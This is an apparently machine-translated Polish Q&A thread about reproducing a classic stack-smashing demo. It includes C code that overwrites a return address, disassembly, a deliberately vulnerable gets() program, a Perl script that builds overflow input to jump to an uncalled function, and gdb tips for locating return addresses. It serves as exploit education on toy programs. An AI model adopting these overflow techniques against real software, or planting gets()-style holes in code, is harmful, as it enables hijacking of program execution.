2013-05-27 18 views
5

Próbuję odtworzyć wyniki z rozchwiania, które czytałem z artykułu Aleph One "rozbijając stos dla zabawy i zysku" (można go znaleźć tutaj: http://insecure.org/stf/smashstack.html).Próba rozbicia stosu

Próba nadpisania adresu zwrotnego nie działa dla mnie.

kod C:

  void function(int a, int b, int c) { 
       char buffer1[5]; 
       char buffer2[10]; 
       int *ret; 
       //Trying to overwrite return address 
       ret = buffer1 + 12; 
       (*ret) = 0x4005da; 
      } 

      void main() { 
       int x; 

       x = 0; 
       function(1,2,3); 
       x = 1; 
       printf("%d\n",x); 
      } 

zdemontować główną:

  (gdb) disassemble main 
      Dump of assembler code for function main: 
       0x00000000004005b0 <+0>:  push %rbp 
       0x00000000004005b1 <+1>:  mov %rsp,%rbp 
       0x00000000004005b4 <+4>:  sub $0x10,%rsp 
       0x00000000004005b8 <+8>:  movl $0x0,-0x4(%rbp) 
       0x00000000004005bf <+15>: mov $0x3,%edx 
       0x00000000004005c4 <+20>: mov $0x2,%esi 
       0x00000000004005c9 <+25>: mov $0x1,%edi 
       0x00000000004005ce <+30>: callq 0x400564 <function> 
       0x00000000004005d3 <+35>: movl $0x1,-0x4(%rbp) 
       0x00000000004005da <+42>: mov -0x4(%rbp),%eax 
       0x00000000004005dd <+45>: mov %eax,%esi 
       0x00000000004005df <+47>: mov $0x4006dc,%edi 
       0x00000000004005e4 <+52>: mov $0x0,%eax 
       0x00000000004005e9 <+57>: callq 0x400450 <[email protected]> 
       0x00000000004005ee <+62>: leaveq 
       0x00000000004005ef <+63>: retq 
      End of assembler dump. 

I zakodowana adres zwrotny, aby przejść x = 1; linia kodu, użyłem zakodowanej wartości z deasemblera (adres: 0x4005da). Celem tego exploita jest wydrukowanie 0, ale zamiast tego jest drukowanie 1.

Mam bardzo silne poczucie, że "ret = buffer1 + 12;" nie jest adresem adresu zwrotnego. W takim przypadku, w jaki sposób określić adres zwrotny, to gcc przydziela więcej pamięci między adresem zwrotnym a buforem.

Odpowiedz

4

Oto przewodnik, który napisałem dla znajomego chwilę po przeprowadzeniu ataku polegającego na przepełnieniu bufora przy użyciu gets. Sprawdza się, jak uzyskać adres zwrotny i jak go użyć do napisania starego:

Nasza wiedza na temat stosu mówi nam, że adres zwrotny pojawia się na stosie po buforze, który próbujesz przepełnić. Jednak, jak daleko po buforze pojawi się adres powrotu, zależy od architektury, z której korzystasz. W celu ustalenia tego, najpierw napisać prosty program i sprawdzić montaż:

kod C:

void function() 
{ 
    char buffer[4]; 
} 

int main() 
{ 
    function(); 
} 

Assembly (skrócona):

function: 
    pushl %ebp 
    movl %esp, %ebp 
    subl $16, %esp 
    leave 
    ret 
main: 
    leal 4(%esp), %ecx 
    andl $-16, %esp 
    pushl -4(%ecx) 
    pushl %ebp 
    movl %esp, %ebp 
    pushl %ecx 
    call function 
    ... 

Istnieje kilka narzędzi, które można wykorzystać do sprawdzenia kodu zespołu. Najpierw, oczywiście, jest kompilowanie danych wyjściowych z Gcc prosto do zespołu za pomocą gcc -S main.c.Może to być trudne do odczytania, ponieważ niewiele wskazuje na to, jaki kod odpowiada oryginalnemu kodowi C. Dodatkowo istnieje wiele kodów, które mogą być trudne do przeskoczenia. Kolejnym narzędziem do rozważenia jest gdbtui. Zaletą korzystania z gdbtui jest możliwość sprawdzenia źródła zespołu podczas działania programu i ręczna kontrola stosu podczas wykonywania programu. Jednak ma stromą krzywą uczenia się.

Program inspekcji montażu, który najbardziej lubię, to objdump. Uruchomienie objdump -dS a.out podaje źródło zespołu z kontekstem z oryginalnego kodu źródłowego C. Za pomocą objdump na moim komputerze przesunięcie adresu zwrotnego z bufora znaków wynosi 8 bajtów.

Ta funkcja function przyjmuje adres zwrotny i zwiększa do niej liczbę 7. Instrukcja, która początkowo wskazywała na adres zwrotny, ma długość 7 bajtów, więc dodanie 7 powoduje, że punkt adresu powrotu do instrukcji bezpośrednio po przypisaniu.

W poniższym przykładzie nadpisuję adres zwrotny, aby pominąć instrukcję x = 1.

prosty program w C:

void function() 
{ 
    char buffer[4]; 
    /* return address is 8 bytes beyond the start of the buffer */ 
    int *ret = buffer + 8; 
    /* assignment instruction we want to skip is 7 bytes long */ 
    (*ret) += 7; 
} 

int main() 
{ 
    int x = 0; 
    function(); 
    x = 1; 
    printf("%d\n",x); 
} 

Główna funkcja (x = 1 w 80483af jest długa siedem bajtów):

8048392: 8d4c2404  lea 0x4(%esp),%ecx 
8048396: 83e4f0   and $0xfffffff0,%esp 
8048399: ff71fc   pushl -0x4(%ecx) 
804839c: 55    push %ebp 
804839d: 89e5   mov %esp,%ebp 
804839f: 51    push %ecx 
80483a0: 83ec24   sub $0x24,%esp 
80483a3: c745f800000000 movl $0x0,-0x8(%ebp) 
80483aa: e8c5ffffff  call 8048374 <function> 
80483af: c745f801000000 movl $0x1,-0x8(%ebp) 
80483b6: 8b45f8   mov -0x8(%ebp),%eax 
80483b9: 89442404  mov %eax,0x4(%esp) 
80483bd: c70424a0840408 movl $0x80484a0,(%esp) 
80483c4: e80fffffff  call 80482d8 <[email protected]> 
80483c9: 83c424   add $0x24,%esp 
80483cc: 59    pop %ecx 
80483cd: 5d    pop %ebp 

Wiemy, gdzie adres zwrotny jest i wykazano, że zmieniając go może wpływać na uruchamiany kod . Przepełnienie bufora może zrobić to samo, używając gets i wpisując odpowiedni ciąg znaków, aby adres powrotu został zastąpiony nowym adresem.

W nowym przykładzie poniżej mamy funkcję function, która ma bufor wypełniony za pomocą get. Mamy również funkcję uncalled, która nigdy nie jest wywoływana. Dzięki poprawnemu wprowadzeniu możemy uruchomić nieuczciwie.

#include <stdio.h> 
#include <stdlib.h> 

void uncalled() 
{ 
    puts("uh oh!"); 
    exit(1); 
} 

void function() 
{ 
    char buffer[4]; 
    gets(buffer); 
} 

int main() 
{ 
    function(); 
    puts("program secure"); 
} 

Aby uruchomić uncalled, skontrolować wykonywalny korzystając objdump lub podobnych, aby znaleźć adres punktu wejścia uncalled. Następnie dodaj adres do bufora wejściowego we właściwym miejscu, aby nadpisał stary adres zwrotny. Jeśli twój komputer jest mało-endian (x86, itp.), Musisz zamienić endianness adresu.

Aby zrobić to poprawnie, mam poniżej prosty skrypt Perla, który generuje dane wejściowe, które spowodują przepełnienie bufora, które spowoduje nadpisanie adresu zwrotnego. Wymaga dwóch argumentów, najpierw przyjmuje nowy adres zwrotny, a po drugie zajmuje dystans (w bajtach) od początku bufora do lokalizacji adresu zwrotnego.

#!/usr/bin/perl 
print "x"[email protected][1];           # fill the buffer 
print scalar reverse pack "H*", substr("0"x8 . @ARGV[0] , -8); # swap endian of input 
print "\n";             # new line to end gets 
2

Należy zbadać stos, aby ustalić, czy buffer1+12 jest właściwie właściwym adresem do modyfikacji. Tego rodzaju rzeczy nie są bardzo przenośne.

ja pewnie też umieścić kilka łapacze oka w kodzie, dzięki czemu można zobaczyć, gdzie bufory są na stosie w stosunku do adresu zwrotnego:

char buffer1[5] = "1111"; 
char buffer2[10] = "2222"; 
1

można dowiedzieć się tego drukując stos. Dodaj następujący kod:

int* pESP; 
__asm mov pESP, esp 

Dyrektywa __asm ​​jest specyficzna dla programu Visual Studio. Gdy już masz adres stosu, możesz go wydrukować i zobaczyć, co tam jest. Zauważ, że stos zmieni się, gdy wykonasz czynności lub wykonasz połączenia, więc musisz zapisać cały blok pamięci naraz, najpierw kopiując pamięć w adresie stosu do tablicy, a następnie wydrukujesz tablicę.

To, co można znaleźć, to wszelkiego rodzaju śmieci związane z ramą stosu i różnymi kontrolami czasu pracy. Domyślnie VS umieszcza kod strażnika na stosie, aby zapobiec dokładnie temu, co próbujesz zrobić. Jeśli wydrukujesz listę złożenia dla "funkcji", zobaczysz to. Musisz ustawić przełącznik kompilatora, aby wyłączyć wszystkie te rzeczy.

+0

nie mogę korzystać z tej metody , ponieważ używam Linuksa i GNU GCC. –

+0

@Mike, w rzeczywistości można użyć _method_, ponieważ 'gcc' również zapewnia wbudowane' asm'. Musisz tylko przekonwertować go na alternatywną składnię. – paxdiablo

0

Jako alternatywę dla metod proponowanych w innych odpowiedzi, można zrozumieć tego rodzaju rzeczy z wykorzystaniem gdb. Aby odczyt był nieco łatwiejszy do odczytania, usuwam zmienną buffer2 i zmieniam bufor 1 na 8 bajtów, aby wszystko było bardziej wyrównane. Będziemy również kompilować w 32 bitach więcej, aby ułatwić odczytanie adresów i włączyć debugowanie (gcc -m32-g).

void function(int a, int b, int c) { 
    char buffer1[8]; 
    char *ret; 

więc niech wydrukować adres buffer1:

(gdb) print &buffer1 
$1 = (char (*)[8]) 0xbffffa40 

potem niech wydrukować trochę przeszłość i zobaczyć, co jest na stosie.

(gdb) x/16x 0xbffffa40 
0xbffffa40: 0x00001000 0x00000000 0xfecf25c3 0x00000003 
0xbffffa50: 0x00000000 0xbffffb50 0xbffffa88 0x00001f3b 
0xbffffa60: 0x00000001 0x00000002 0x00000003 0x00000000 
0xbffffa70: 0x00000003 0x00000002 0x00000001 0x00001efc 

Wykonaj ślad, aby zobaczyć gdzie adres zwrotny powinien być skierowany:

(gdb) bt 
#0 function (a=1, b=2, c=3) at foo.c:18 
#1 0x00001f3b in main() at foo.c:26 

i na pewno wystarczy, nie jest w 0xbffffa5b:

(gdb) x/x 0xbffffa5b 
0xbffffa5b: 0x001f3bbf